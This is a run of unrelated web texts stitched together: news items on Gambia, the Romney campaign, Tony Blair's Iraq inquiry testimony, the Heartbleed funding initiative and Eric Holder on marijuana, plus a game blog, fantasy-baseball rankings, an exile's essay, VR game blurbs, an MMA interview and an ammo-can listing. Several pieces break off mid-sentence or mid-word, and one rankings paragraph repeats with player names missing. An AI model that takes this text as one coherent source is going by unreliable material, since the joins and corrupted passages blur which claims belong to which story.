The mandate for the force was extended at the start of June for a period of 12 months. During a summit in Monrovia, Liberia the Ecowas force was described as playing a “crucial role” in keeping the country secure given the “fragile situation”.
President Barrow was in Addis Ababa this week attending his first African Union summit. “The situation is normal, nothing is going on in the country right now,” said army spokesman Bojang, when asked about the risk to Barrow on his return to Gambia.I chose to wear a Tabard, something I don't usually do with Clothies as I don't think they sit right with robes. I transmogged my robe into a low level green chest which wasn't a robe and added a black shirt.
Recently I've been playing both my Warrior and Paladin a lot. Being plate wearers they have the option to transmog to some plate skirts but I tend to keep them in full pants. Tanking in a dress doesn't feel quite right to me. With that I've started looking at cloth legs a bit more. There are no Priest tier sets which don't use a robe, same with Warlock. Mage Tier eight is the only tier set in game which uses a tunic and pants model.There are some gorgeous legs out their for Priests especially so I decided to build some outfits around two of my favourites for today. I'll post another two in a couple of days. You can find the links to the items used under the pictures.Priest Tier five legs.Priest Tier Two legs.Mitt's economic director lobbied against China currency legislation Former Wall Street lobbyist fought against the very thing Romney has pledged
Mitt Romney has pledged that if elected president, he will sign an executive order declaring China a currency manipulator. Think Progress suggested Thursday, however, that this might sit ill with one of his campaign's recent employees.
With the revolving door between Washington and Wall Street still spinning behind him, Pierce Scranton became Romney’s economic policy director in August, having worked as a top lobbyist for JPMorgan Chase. (He is listed as JPMorgan’s executive director of the bank’s lobbying department on public federal documents filed in 2012.) Think Progress reported that "While Scranton oversaw JP Morgan’s lobbying, the bank also lobbied against legislation meant to address Chinese trade and currency manipulation. JP Morgan and other banks and financial services companies lobbied against the bill." Scranton fought the very legislation Romney would crystallize in an executive order.
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Of course, it's unproblematic that Scranton might have lobbied for one thing on behalf of former company, JPMorgan, and could push for counterposed legislation under his new employer, Romney. Viewed generously, Scranton's previous lobbying over Chinese currency control serves as a rare example in highlighting where Romney's position on something opposes that of major Wall Street banks. But his position in the Romney campaign also could raise questions about whether Romney's China pledge is a bluff. But, of course, when a revolving door spins so fast, it's hard to see what's really going on.Major League Baseball announced today that the Orioles will play the Houston Astros in the 2014 Civil Rights Game on May 30 at Minute Maid Park.
The Orioles will be in Houston for a four-game series.
The Civil Rights Game, which will air nationally on MLB Network, started in 2007 in Memphis and pays tribute to those who fought for equal rights.
After another exhibition game in Memphis in 2008, the Civil Rights Game moved to Cincinnati (2009-2010), then Atlanta (2011-2012) as regular-season games, and last year was hosted by the Chicago White Sox.
The Astros held a press conference this morning at Minute Maid Park that included Hall of Famer Frank Robinson.
Here’s a portion of the press release that MLB issued a few minutes ago:
Major League Baseball today announced that the Houston Astros will host the 2014 Civil Rights Game and ancillary activities, a series of events developed by MLB to pay tribute to those who fought on and off the field for equal rights for all Americans. The event is another example of the Houston Astros supporting MLB initiatives geared toward highlighting diversity throughout baseball.
The 2014 Civil Rights Game will be played between the Astros and the Baltimore Orioles at Minute Maid Park on May 30, 2014, airing nationally on MLB Network. Ancillary activities such as the MLB Beacon Awards Luncheon, the Baseball & Civil Rights Movement Roundtable Discussion and a youth baseball and softball event will all take place that week. Ticket sales and more information on the 2014 Civil Rights Game and ancillary events will be made available at a later date on MLB.com/civilrightsgame and Astros.com/civilrightsgame.
“I am pleased to announce the Houston Astros, who have demonstrated a substantial commitment to supporting diversity throughout our industry, as the hosts of Major League Baseball’s 2014 Civil Rights Game,” Baseball Commissioner Allan H. (Bud) Selig said. “The Civil Rights Game and its surrounding events are an opportunity not only for our game to honor those who have fought for equality throughout American history, but also to remind us that the battle against injustice continues. As a social institution that features unprecedented diversity of all races and ethnicities throughout our sport, we are proud to join the Astros in remembering this important era in history.”
“The Astros are honored to host the 2014 Civil Rights Game,” said Jim Crane, Owner & Chairman, Houston Astros. “We have been pleased to support Major League Baseball’s many initiatives over the past two seasons and look forward to continuing to do so. The Civil Rights Game and its activities are a great way for us to honor those that have fought for equality in the past, and to promote diversity and opportunity in our game moving forward.”
In addition to the 2014 Civil Rights Game at Minute Maid Park, several events will take place throughout the week, including:
Baseball & the Civil Rights Movement Roundtable Discussion
A group of prominent participants will discuss the pivotal role Baseball played in the civil rights movement and the game’s continued presence as a social institution in American society. Previous panelists have included Martin Luther King III, human rights activist and eldest son of Dr. Martin Luther King Jr.; Sharon Robinson, MLB Educational Programming Consultant and daughter of Hall of Famer Jackie Robinson; Dolores Huerta, activist and co-founder of the United Farm Workers; Ambassador Shabazz, ambassador-at-large for Belize and eldest daughter of Malcolm X; Branch Rickey III, Pacific Coast League President and grandson of the late Branch Rickey; Thomas Tull, Chairman & CEO of Legendary Entertainment and Producer of the featured film “42”; Arte Moreno, Principal Owner of the Los Angeles Angels of Anaheim; Kenny Williams, Executive Vice President of the Chicago White Sox; Hall of Famers Barry Larkin, Joe Morgan, Tony Perez, and Dave Winfield; Dodgers legend Don Newcombe; Hall of Fame journalist and MLB Network analyst Peter Gammons; and MLB Network analyst Harold Reynolds, among others. The Baseball & the Civil Rights Movement Roundtable Discussion will be streamed on MLB.com and Astros.com prior to the Civil Rights Game.
MLB Beacon Awards Luncheon
The MLB Beacon Awards Luncheon will honor the recipients of this year’s MLB Beacon Awards, which recognize individuals whose lives are emblematic of the spirit of the civil rights movement. Past recipients of MLB Beacon Awards include: Hall of Famers Frank Robinson, Hank Aaron, Willie Mays and Ernie Banks; and also Buck O’Neil, Don Newcombe, Bo Jackson, Muhammad Ali, Harry Belafonte, Bill Cosby, Ruby Dee, Aretha Franklin, Morgan Freeman, John H. Johnson, Billie Jean King, Spike Lee, Congressman John Lewis, Carlos Santana, three of the founding members of Earth, Wind & Fire, and Vera Clemente, MLB Goodwill Ambassador and wife of the late Hall of Famer Roberto Clemente. Keynote speakers at previous MLB Beacon Award events have included Commissioner Selig, President Bill Clinton, Ambassador Andrew Young, Reverend Joseph Lowery, Julian Bond and Michael Wilbon.
Youth Clinic
The youth baseball and softball clinic is an event designed to give young players locally the opportunity to interact with and learn from current and former players. Interactive aspects will include batting cages, pitching machines and baserunning stations.
Note: The Orioles have confirmed that FanFest will be held Saturday, Feb. 1 at the Baltimore Convention Center.“No regret, come on, man!” shouted James Sadri, a young man in the public gallery, prompting the startled inquiry chairman to demand silence. But that was followed by the sounds of sobbing from women in the gallery whose soldier sons had died in Iraq.
“You are a liar!” one woman cried, followed by another saying, “You are a murderer!” As Mr. Blair left the room, he passed close to the two women as they were comforted by others in the gallery.
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A third of the seats in the gallery were assigned to relatives of the 179 British servicemen and women killed in Iraq in the six years of conflict that ended for Britain with the withdrawal of its last units in July last year. Many of the family members told reporters afterward that they were bitterly disappointed not to have heard the former prime minister express some contrition over the conflict, or at least over the deaths of British troops.
The inquiry offered Mr. Blair a prominent platform to map out his version of a history that has brought much vilification in his own land. He defended his close relationship with Mr. Bush, depicted by Mr. Blair’s adversaries — and by some of his former aides in their testimony before the inquiry — as having involved a covert plan by Mr. Blair to circumvent hostile opinion both in Britain and at the United Nations.
“This isn’t about a lie or a conspiracy or a deceit or a deception,” Mr. Blair said. “It’s a decision. And the decision I had to take was, given Saddam’s history, given his use of chemical weapons, given the over one million people whose deaths he had caused, given 10 years of breaking U.N. resolutions, could we take the risk of this man reconstituting his weapons program or is that a risk it is responsible to take?”
Taut and ill at ease at the outset of his testimony, Mr. Blair quickly caught his rhythm, and rode out a series of impatient thrusts by members of the inquiry panel, effectively dominating the hearing. He offered no apology for joining President Bush in toppling Mr. Hussein, saying repeatedly he thought it was in the best interests of Britain and the world.
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“The decision I took — and frankly would take again — was: if there was any possibility that he could develop weapons of mass destruction, we would stop him. It was my view then and that is my view now,” he said.
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The former prime minister said the attacks of Sept. 11 had hardened his resolve on the need to curb the threat that he said Mr. Hussein posed with his years of defiance of United Nations resolutions demanding that he abandon efforts to develop biological, chemical and nuclear weapons.
“The crucial thing after Sept. 11 is that the calculus of risk changed,” Mr. Blair said. “The point about this terrorist act was that over 3,000 people had been killed on the streets of New York, and this is what changed my perception of risk: if these people inspired by this religious fanaticism could have killed 30,000, they would have.”
Some of the most probing questioning turned on Mr. Blair’s confidential meetings with Mr. Bush, starting with an encounter at the Bush ranch in Crawford, Tex., in April 2002, where Mr. Blair has been accused by critics of secretly committing Britain to war. “What I said to George Bush was that we are going to be with you” in countering the perceived threat from Mr. Hussein, he said, but he said he had made it clear that Britain would join in military action only after all diplomatic options had been exhausted.I’m not a hundred percent positive but I’m pretty sure this is the wild life center where I visited wolves.
And the safety briefing included the question “So if you’re pregnant, do you want to know or not?”
Turns out there had been a bit of an awkward situation once where the keepers had casually mentioned a woman’s pregnancy in a group, and she herself didn’t even know yet. Turns out the wolves are excellent at telling if you’re pregnant and the keepers can tell based on their body language. They get all odd and careful around pregnancy. (Even wolves knows that you have to take care of pregnant people.)
So they definitely knew she was pregnant.
And if I remember my BBC documentaries right, a wolf will leave the pack to give birth and introduce the cubs to the pack once she feels ready for it. And maternity leave is flexible but often around 6 months so they’re going “YOU WERE GONE FOREVER! WE WERE SO WORRIED! WHERE ARE THE CUBS?? WE HAVE TO GREET THE CUBS!!“
Also the two on her back are fighting over who gets to greet her first. Giving and receiving attention is a commodity that goes by hierarchy and if you don’t accept that there will be scuffles.. The wolf lying down next to her isn’t chill about her coming back, it’s just submissive to the other wolves and waiting for it’s turn to show excitement.As owners head towards the home stretch and look towards the playoffs, it also becomes harder and harder to find saves on the waiver wire in most leagues. In most 12 team leagues that use 2 or more RP slots, you are most likely looking at the top 24 on this list or so already owned. However if you are desperate for saves for the playoff push, there are some potential lottery tickets for you. Cam Bedrosian and Kenyan Middleton may be splitting chances for the time being, but I’d fully expect Bedrosian to take sole possession of the job sooner rather than later. He should probably be owned in most 12 team leagues. Jeurys Familia is beginning his rehab assignment tonight, and is expected to be activated off the DL within a week. If he is still available in your league, he should be picked up ASAP. He slots in as a top 10-15 closer the rest of the season. Kyle Barraclough and Trevor Hildenberger are two more interesting speculative adds, with both being talented enough to supplant the veteran relievers currently closing for their respective teams. It’s probably best to stay away from the White Sox situation, at least for the moment, but for those really desperate, Juan Minaya figures to see the bulk of whatever save chances the White Sox manage over the next month plus.
TIER 1: Nothing Compares 2 U
1. Kenley Jansen (Los Angeles Dodgers)—Pedro Baez, Brandon Morrow
2. Craig Kimbrel (Boston Red Sox)—Addison Reed, Matt Barnes
The clear-cut top two closers in the game this year again proved they only belong here by each having a nearly flawless week. Kenley Jansen racked up a ridiculous 4 saves, while Craig Kimbrel earned a save (and a win) while striking out 5 and not allowing a baserunner in 2 games.
TIER 2: Save Tonight
3. Felipe Rivero (Pittsburgh Pirates)—Juan Nicasio, Joaquin Benoit
4. Roberto Osuna (Toronto Blue Jays)—Ryan Tepera, Dominic Leone
5. Corey Knebel (Milwaukee Brewers)—Jacob Barnes, Anthony Swarzak
6. Ken Giles (Houston Astros)—Luke Gregerson, Chris Devenski
7. Trevor Rosenthal (St. Louis Cardinals)—Brett Cecil, Seung Hwan Oh
8. Aroldis Chapman (New York Yankees)—Dellin Betances, David Robertson
9. Edwin Diaz (Seattle Mariners)—Nick Vincent, Tony Zych
10. Zach Britton (Baltimore Orioles)—Brad Brach, Mychal Givens
11. Greg Holland (Colorado Rockies)—Adam Ottavino, Pat Neshek
12. Wade Davis (Chicago Cubs)—Carl Edwards Jr., Justin Wilson
13. Sean Doolittle (Washington Nationals)—Ryan Madson, Brandon Kintzler
14. Raisel Iglesias (Cincinnati Reds)—Drew Storen, Michael Lorenzen
15. Brad Hand (San Diego Padres)—Kirby Yates, Phil Maton
16. Alex Colome (Tampa Bay Rays)—Steve Cishek, Tommy Hunter
I really was believing Aroldis Chapman had turned a corner last week and was going to go on a tear the rest of the season helping the Yankees playoff push. Well this past weekend sure proved that is not the case. It’s the control problems that are most concerning, as he walked 4 and hit 1 in the 2 games against the Red Sox at Yankee Stadium. With other dominant options in that bullpen arsenal, it’s fair to wonder if Joe Girardi and the rest of the organization have talked about moving him out of the 9th inning for a while, allowing Dellin Betances or Dave Robertson to close.
had turned a corner last week and was going to go on a tear the rest of the season helping the Yankees playoff push. Well this past weekend sure proved that is not the case. It’s the control problems that are most concerning, as he walked 4 and hit 1 in the 2 games against the Red Sox at Yankee Stadium. With other dominant options in that bullpen arsenal, it’s fair to wonder if Joe Girardi and the rest of the organization have talked about moving him out of the 9th inning for a while, allowing or to close. After having a couple shaky outings early in his Nationals career, Sean Doolittle has steadied over the past two weeks and for the first time all year, has finally given Dusty Baker a 9th inning option to feel confident in. He should see plenty of opportunities from here on out, and should be able to contribute with low ratios and close to a strikeout an inning.
TIER 3: Bound for the Floor
17. Kelvin Herrera (Kansas City Royals)—Joakim Soria, Brandon Maurer
18. Cody Allen (Cleveland Indians)—Bryan Shaw, Joe Smith
19. Arodys Vizcaino (Atlanta Braves)—Jim Johnson, Jose Ramirez
20. Shane Greene (Detroit Tigers)—Bruce Rondon, Alex Wilson
21. Hector Ner |
etotheredcentre2015SAN FRANCISCO — The nonprofit Linux Foundation and more than a dozen prominent technology companies are to announce an initiative on Thursday to fund crucial open-source projects.
Chief among those projects will be OpenSSL, the Internet security method used by millions of web servers and Internet-connected devices. Researchers recently discovered a major flaw in OpenSSL that they called Heartbleed.
Amazon, Cisco, Dell, Facebook, Fujitsu, Google, IBM, Intel, Microsoft, NetApp, Rackspace, Qualcomm and VMWare have each pledged $100,000 a year over the next three years to the Core Infrastructure Initiative, the effort organized by the Linux Foundation, which supports the popular Linux computer operating system.
Each backer will select representatives to sit on a steering committee along with open-source developers and academics. The committee will direct money to open-source projects. In turn, the money will be used to fund fellowships for developers to work on open-source projects full time. It will also pay for security audits, computing and testing infrastructure, travel, and coordination among companies that may be working on similar projects.
The Core Infrastructure Initiative will start with OpenSSL. Despite its widespread use, OpenSSL is managed by only one full-time developer and a small, volunteer staff.
Open-source projects are usually software development efforts organized and run by volunteers, connected on the Internet, who work together to build, maintain and improve free software. Ideally, they check one another’s work in a peer review system. It has led to the creation of widely used software like Linux and the web browser Firefox.
But security experts and even the open-source movement’s biggest advocates acknowledge that Heartbleed revealed that some crucial open-source systems are underfunded and suffering from a lack of resources.
In an interview on Wednesday, Jim Zemlin, the executive director of the Linux Foundation, said the most significant issue was a lack of awareness regarding which open-source projects needed what, something he said the Core Infrastructure Initiative will help address.
“This is not just about the money, but the forum,” Mr. Zemlin said. “Instead of responding to a crisis retroactively, this is an opportunity to identify crucial open-source projects in advance. Right now, nobody is having that conversation, and it’s an important conversation to have.”
The Core Infrastructure Initiative is one of many such projects to be discussed since the Heartbleed bug was made public two weeks ago.
The early open-source advocate Eric S. Raymond and other leaders in the open-source community like Paul Vixie, founder of the Internet Systems Consortium, a nonprofit Internet “action tank,” have been discussing a similar initiative called the Internet Civil Engineering Institute.
The idea was to fund security audits of crucial open-source software like OpenSSL and the Internet Time Service protocol, which synchronizes computer times over the Internet. It is used by major financial exchanges and maintained by one developer in Maryland.
“The problem is the usage volume of the Internet is going way up and the Internet’s complexity is going up — straining this volunteer cadre of developers,” Mr. Raymond said in an interview last week. “This is a recipe for serious trouble down the road.”
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Heartbleed has also prompted a number of volunteers from OpenBSD, another open-source project, to comb through OpenSSL code in order to find mistakes and fix them.
Elsewhere, some were making T-shirts that say “I Heartbleed OpenSSL,” featuring the Heartbleed logo, selling them online and donating some of the proceeds to the OpenSSL project.
Steve Marquess, who runs the OpenSSL Software Foundation, which finds contract work for OpenSSL developers, said last week that the OpenSSL Project had received more than $17,000 in donations since Heartbleed was exposed, most of that from individuals. He noted that the biggest donation, as of last Friday, was $300 and the smallest was 2 cents (which unfortunately had been donated through PayPal, which took both cents).
But this week, the project hoped to bypass PayPal fees by accepting donations using another open-source method: Bitcoin.A Chinese human rights activist, Feng Zhenghu, has been camping out, sleeping on a bench and surviving on handouts at the Narita International Airport in Japan since Nov. 4, 2009.
No, this is not a remake of the film “The Terminal” with Tom Hanks starring as a man with no country, it’s a real-life situation. What’s at stake are individual rights to due process and the right of Chinese citizens not to be intimidated by their own government.
Mr. Feng’s protest exposes the insecurity that is haunting the emerging superpower that is China – and is helping the international community see that this Communist government is trampling on its own laws and Constitution.
It’s also helped inspire – and bring international attention – to the plight of hundreds of exiled Chinese in the United States, Japan, and Europe, including the author of this article, who has also been deprived of the right to go home.
Feng’s story
After the Tiananmen Massacre in 1989, Feng openly criticized the repression and was under investigation for more than a year. He studied in Japan and returned to China but was detained and sentenced to three years in prison for what he has called “trumped-up charges of illegal business activity.”
Last year, Feng visited his sister in Japan,and when he was ready to go home to Shanghai, the Chinese government denied him entry. After eight failed attempts to return, despite having a valid visa for Japan, he has decided to protest at the airport and wait for the Chinese government to change its mind.
Others in exile
I came to the US on a Niemann Fellowship at Harvard University in 1997 and stayed to pursue an advanced degree in law. Before my Chinese passport expired in 2002, I went to have it renewed but my request was rejected. When I called to seek an explanation, an official left me a voice mail, saying that I “should be able to figure out the reason for the rejection.”
I had been imprisoned for two years in China before my arrival in the US. Certainly my leadership role in the 1989 pro-democracy movement and my ensuing criticism of the Chinese government were key contributing factors.
Consequently, I, too, have become one of many Chinese banished unjustly. In the past nine years, I have written to China’s legislature and the Chinese government. My many petitions have gone unanswered. Without a passport, I haven’t been able to travel outside the US, let alone visit my family and relatives in China.
China has effectively kept political dissidents out of the country and discouraged antigovernment activities abroad by refusing to renew passports for Chinese citizens, rejecting visa applications from activists who are naturalized American citizens or granting residents such as Feng and myself the right to leave the country but then denying them reentry.
To fight for their right to return home, affected Chinese citizens in the West have tried almost everything. They have launched petitions and staged hunger strikes and protests in front of Chinese embassies. Some have even kept silent, hoping to quietly negotiate their way back home. So far, that hasn’t worked.
In 2002, Yang Jianli, a Chinese scholar and human rights activist, used an altered passport to board a flight and managed to get back into China. He was soon captured and thrown in a Chinese jail for five years.
Before his death in 2005, exiled writer Liu Bingyan had contacted the Chinese authorities, begging to go home for cancer treatment. The government turned him down and he died in a foreign land.
Consistently met with such failure, those in exile had all but given up the fight to return home.
But, through his heroic effort, Feng has energized a “return home movement” for Chinese exiles all over the world.
He has found a perfect international venue, free of the harassment from Chinese police and free from the threat of Chinese prisons. He has attracted attention from inside as well as outside China.
At the airport, passing passengers hear about his story and give him water and food. Chinese activists from Hong Kong and the US fly in to bring supplies and offer him encouragement.
Several technology experts inside China secretly helped him set up a Twitter account so he could broadcast his situation. He has received thousands of Twitter and text messages from well-wishers throughout the world.
The Chinese government has not yet responded nor has it offered any concessions, but with the increasing media coverage the pressure is building. Significantly, the issue was brought up by reporters at a recent Chinese Foreign Ministry press conference.
It wouldn’t be too difficult to lift the ban and allow Feng to go home. What the Chinese leadership fear is that any concession regarding Feng will open a floodgate for hundreds of other Chinese like me who are stuck in a similar limbo. Allowing activists to return home could mean more threats to a regime that has been built on suppression and persecution. But since the issue has come to the forefront of human rights campaigns, inaction could pose problems for China on the international scene.
Feng’s brave efforts have ignited hope among those in exile of a change in the Chinese government. His high-profile protest will no doubt only increase. China cannot emerge as a respected international voice if those who have unjustly been forced into exile or prison continue to be a thorn in its side.
Chinese in exile must fight until the day when we are allowed to go back to our home country and reunite with our families.
Xiaoping Chen is studying for his doctorate at the University of Wisconsin Law School in Madison. He is formerly a journalist and Niemann Fellow at Harvard University in Cambridge, Mass.
Wen Huang translated the piece from Chinese to English.
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Did this essay make you think? Add to the conversation on Facebook!Project Neptune VR is the virtual reality demo of our main machine, the Project Neptune ARC. In this virtual reality simulation, users will be able to see the machine in action as if they were there. The demo also has an architectural walkthrough and tour of the Project Neptune’s pilot build, the home of the future. You will be able to see the home, inside and out, and explore all the rooms and layout of the home. This demo is used for promotional purposes and give potential investors and curios
Prepare for a VR adventure never seen before and immerse yourself in the story of the unusual friendship between a drone and a team of misfit scavengers set out to save the world. Bionic Mayhem combines classic side-scrolling beat em ups and first person shoot em ups in a unique gaming mechanic, set in a post apocalyptic environment. The first trailer showcases 3 levels out of 24, focusing on the beat em up gameplay.
Visionarium is a visionary music driven VR journey. A lot of the content has been created in tilt brush. In this experience a visionary trance state is simulated. The Oculus Touch controllers lets you paint beautifull and spectacular particle streams while your floating from one dimension to another in this immersive experience. guided by a soundtrack from one of the best psy dub artists: Kalya Scintilla.
Discover New VR Games
In VR Games For list page, you'll find a list of all the virtual reality and augmented reality (coming soon) games contained in our database. You'll be able to uncover more about the brand-new games and stay up-to-date with what's coming up next. If you are an enthusiast gamer like me and love VR games, you want to know which games are coming soon to your favorite platform. You'll be able to search and sort to find the exact game that you enjoy playing on your platform. With a Head Mounted Display (HMD) you'll experience games in a way that you haven't felt before. Dive into the world of virtual reality gaming that will elevate your gaming experience to a whole new level. Find exclusive games for particular VR headsets, view release dates, walkthrough gameplay videos and gameplay trailers. Find the latest mobile phone and tablet VR games, latest and upcoming full game AAA titles and new reveals. Don't forget to bookmark and LIKE our Facebook page to be updated when we publish new VR game reviews and first impression articles. Enjoy browsing the site.When it comes to amateur wrestlers in MMA, the results are mixed. Some fail, others succeed. Henry Cejudo, a 2008 Olympic gold medalist, hopes to be one of the latter.
The decorated wrestler-turned-MMA fighter, who meets late replacement Saul Elizondo (6-3) at Friday’s Legacy FC 25 event in Houston (10 p.m. ET, AXS TV), has adjusted seamlessly to MMA and feels right at home inside the cage.
“I adapt pretty well, actually,” Cejudo (5-0) told MMAjunkie of his comfort level in MMA. “I’ve actually progressed to where I can strike. I can move. I’m not dumb; I’m not going to sit there and brawl somebody just because I have hands, but I’ve adjusted to the sport of mixed martial arts pretty well.
“It’s in my nature to strike, fight, get a guy in the clinch, throw an elbow off the clinch, beat people up with punches, and all that stuff.”
With his first professional fight in March, Cejudo has already racked up five victories. Cejudo relishes the busy schedule. If it were up to him, he said, he would fight even more frequently.
“I love to compete,” he said. “If I don’t challenge myself in competition, then I don’t know what I’m doing. A lot of these guys in my gym will fight once, twice a year. I don’t understand the purpose of fighting then. I would want to retire if I knew I was only going to fight one time or twice a year.”
The desire to maintain an active schedule is ingrained in Cejudo from his years of wrestling competitions, where he would go against multiple opponents in a single day. Those experiences are a solid foundation for MMA, specifically in a situation like Cejudo’s in which his opponent was pulled from the card and replaced just one day before the fight.
While MMA is physically taxing in its own way, Cejudo feels that, regardless of opponent, his hunger to fight frequently keeps him grounded.
“I just feel like I need to compete,” Cejudo said. “I have ADD. If I don’t have something going on, then I go crazy.”
Up until his most recent fight, Cejudo had dominated the unlucky souls unfortunate enough to meet him. He had stopped all of his opponents with strikes in the first round, but Ryan Hollis didn’t go down so easy and extended the contest for all three rounds.
While Cejudo still handily won the match, his face was banged up for the first time. The ability to take a punch is a huge part of MMA, and the more gruesome aspect of the sport has turned off other crossover athletes in the past.
Cejudo isn’t one of them, and though he knows a three-round fight was beneficial to his career, he was irked to leave it in the hands of the judges for the first time.
“I was disappointed in myself the last fight a little bit,” Cejudo said. “I train to dominate, not to decision. You don’t want to leave it up to the referees and the judges, and that’s what I did.
“On the flip side, it was good for me to go three rounds and experience what 15 minutes feels like in actual competition.”
As for early-career troubles, Cejudo said there’s nothing inside the cage that gives him difficulty. The only issues are outside it.
“What I find most difficult about mixed martial arts is the social media side of it, the glamour side of things, people talking smack, calling you out,” Cejudo said. “I see the sport of mixed martial arts as respect and honor. I have a tool to gain attention, and I think that you can be funny, but you don’t want to be degrading toward somebody.
“I just think there’s a lot of kids, especially because it’s the fastest growing sport in the world – I just feel like people have a responsibility to be a good role model, and I don’t think a lot of people understand the platform that they have.”
As Cejudo continues to build momentum and rack up more victories, talk of an inevitable signing with a major MMA promotion begins to vamp up. The fighter is ready for it.
“I think after this fight we’re going to start talking [with major promotions],” Cejudo said. “I think I’m going to stay with Legacy for another two fights or move over to the next big show.”
Cejudo’s arrival in an organization such as the UFC, Bellator MMA or World Series of Fighting is unavoidable, and once he gets there, his fellow competitors will be on notice. The American has achieved a level of athletic excellence few can match, and having already showcased the rare ability to evolve into one of the world’s top wrestlers, Cejudo believes he can rise to the top of the MMA world as well.
“I’m on a mission to become the best in the world, a world champion,” Cejudo said. “I’m here to demonstrate my talents and challenge myself.”
For more on Legacy FC 25, stay tuned to the MMA Rumors section of the site.MTA sued after ad refusal
A federal judge said the New York Metropolitan Transit Authority violated a group’s free speech rights by refusing to run potentially offensive ads.
American Freedom Defense Initiative sought to place an ad that said, “In any war between the civilized man and the savage, support the civilized man,” The New York Times reported. The ad also called for people to “Support Israel” and “Defeat Jihad.”
The MTA refused to run the ads, saying it violated their policy against running derogatory ads against, among other things, people’s race, religion and nationality. They told the initiative they could revise and resubmit.
The American Freedom Defense Initiative instead sued in 2011, claiming the transit authority’s policy violated their free speech rights.
Federal Judge Paul A. Engelmayer ruled Friday, July 20, in the group’s favor.
The proposed ad represents political speech and falls within First Amendment protections, Engelmayer said.
Engelmayer said the MTA’s policy, though well-intended, violates free speech rights; they cannot allow some types of negative ads and not others.
He praised the transportation agency’s effort to minimize harmful speech, but said it cannot selectively allow some types of discriminatory speech and not others.
Engelmayer suspended the ruling for 30 days, during which the MTA can attempt to make their policy constitutional.
Read Reuters and The New York Times coverage of and New York Daily News opinion on the ruling.
MTA asked to take down other ads
In a related incident, an elected New York official asked the MTA to take down ads showing the shrinking geography of Palestine and growth of Israel.
Assembly member Robert Castelli wrote a letter to the MTA saying the ads were offensive to the Jewish community and created disharmony. His letter appealed to the authority to take down the ads. However, given Englemayer’s recent ruling, Castelli may not have success with his petition.
The Center for Peace in Israel and Palestine paid for the ads.
Read more here.
Whitney is the summer Pulliam/Killgore intern with the Society of Professional Journalists. She recently graduated from Brigham Young University after studying journalism. Connect with her via email – wevans@hq.spj.org – or on twitter – @whitevs7
*Know something about Freedom of Information that you think we should cover in a blog post? We want to hear from you! Send information to wevans@HQ.SPJ.org. It may be featured in a future post.Each.50-caliber ammo can measures 11 inches by 7 inches by 5.5 inches and features a fully steel construction with a lockable lever-lock lid that includes a rubber gasket designed to prevent moisture from damaging whatever goods are sealed inside. Each can is also equipped with a handle that is capable of folding flat and provides for easy transport and easy stacking/storage. Most of our cans remain in their original condition, which is to say that they are painted olive with standard caliber, quantity and lot number markings. Because they are used, however, some cans may have been painted by the Military with non-standard colors. As always, we will do our best to ship the highest quality cans first, but no guarantees regarding color or markings can be made.
Judging by the markings on some of the cans, these.50-caliber ammo cans were used to transport and store 5.56x45mm NATO blanks and.50 caliber cartridges.
- Ammunition
- General-purpose storage
- Survival
- Camping
- Much more…Republicans bashed Holder for going too far to accommodate the state actions. Holder at center of marijuana debate
Attorney General Eric Holder found himself caught Tuesday in a vast congressional divide over how the federal government should respond to moves states have made to legalize marijuana.
During a House Judiciary Committee hearing, Republicans repeatedly bashed Holder for going too far to accommodate the state actions, while a Democrat pounded the attorney general for refusing to call for a study of whether the federal drug classification system exaggerates the dangers posed by cannabis.
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Panel chairman Bob Goodlatte (R-Va.) wasted no time going after Holder on the issue, raising it before the attorney general had even opened his mouth.
”Attorney General Holder announced that the Justice Department would stop enforcing the federal marijuana ban against persons who comply with state medical marijuana laws,” Goodlatte declared in his opening statement.
( Also on POLITICO: Holder pressed on Clapper testimony)
“The Justice Department’s decision not to enforce the Controlled Substances Act in states whose laws violate federal law is not a valid exercise of prosecutorial discretion, but a formal, department-wide policy of selective non-enforcement of an Act of Congress.”
Rep. Howard Coble (R-N.C.) challenged Holder’s statement in January that “public safety” concerns made it wise for the federal government to allow access to the banking system by pot businesses operated legally under recently passed referenda in Colorado and Washington.
“Is there not also a public safety issue from the trafficking of a substance that is still illegal under federal law?” Coble asked.
Holder said the Justice Department was still committed to preventing violence connected to drug trafficking and to going after enterprises that were making marijuana available to children. He defended the department’s policy on the issue as a valid use of prosecutorial discretion.
“There are a lot of things that are technically violative of the federal law. We don’t prosecute every violation of federal law. We don’t have the resources to do that,” the attorney general said. “I think we will still be good stewards of the Controlled Substances Act.”
Holder got a very different perspective a short time later from Rep. Steve Cohen (D-Tenn.), who said Holder was being too timid by not asking Health and Human Services Secretary Kathleen Sebelius to conduct a formal review of whether marijuana should be a “Schedule I” drug under federal law. That designation bars use of the drugs in research studies, the lawmaker noted.
( Also on POLITICO: Holder defends timing in mayor probe)
“In my humble opinion — and, I think, the majority of people in this country — there’s no way that marijuana should be Schedule I, because it’s not in the same class as heroin, as is LSD,” Cohen said. “There are certainly medical bases…for multiple sclerosis, for children with epilepsy and seizures, and so it has medical benefit. Schedule I says no medical benefit. Well, that’s just fallacious. … Why will you not act?”
Cohen said it was strange that Obama administration has proudly taken executive action on immigration, environmental and labor policies, but not on reclassifying marijuana. “Why won’t the administration act with the pen and the phone to help people out?” the congressman asked.
“I think we actually have acted in a responsible way,” Holder replied.
When Cohen said it was “obvious” that marijuana was miscategorized, the attorney general gave an answer that captured the disparate views on display at the hearing.
“What’s obvious to one perhaps is not obvious to another,” Holder said.
Near the end of the almost-four-hour hearing, Rep. Jason Smith (R-Mo.) again raised the marijuana issue, arguing that Holder’s decision to limit marijuana-related prosecutions was part of a pattern of the Obama administration ignoring statutes and legal provisions that it does not like.
“One of the laws of the land, which is federal law from 1970 — 10 years before I was ever born, that says that marijuana is a violation — the sale or possession, is a violation of federal law. What do you say to those kids, when you’re in the classrooms and they ask why you choose to enforce certain laws and some laws you don’t enforce?” Smith asked.
Holder sought to turn the tables on Smith, asking if he favored a policy of prosecuting every marijuana possession case at the federal level.
“We have limited resources. I don’t think you are meaning to suggest that the federal government should prosecute every possessory marijuana case in that exists in the United States, which technically we I suppose would have the authority to do,” the attorney general said during the pointed but generally mild-mannered exchange. “That’s not what you’re proposing, right?”
“The law of the land … says all marijuana is a violation — of even one marijuana cigarette,” Smith said. “I’m asking you. You’re the attorney general of the United States … I’m asking why you fail to enforce the laws of the land, Attorney General.”
“Your premise is wrong. We are enforcing the laws of the land,” Holder said. “The question I have for you which you haven’t answered is: Would you have us prosecute every marijuana possession case that exists in the United States of America? Would you have us do that?”
“When you actually answer my colleagues’ questions, I’ll be more than happy to answer yours,” Smith replied.
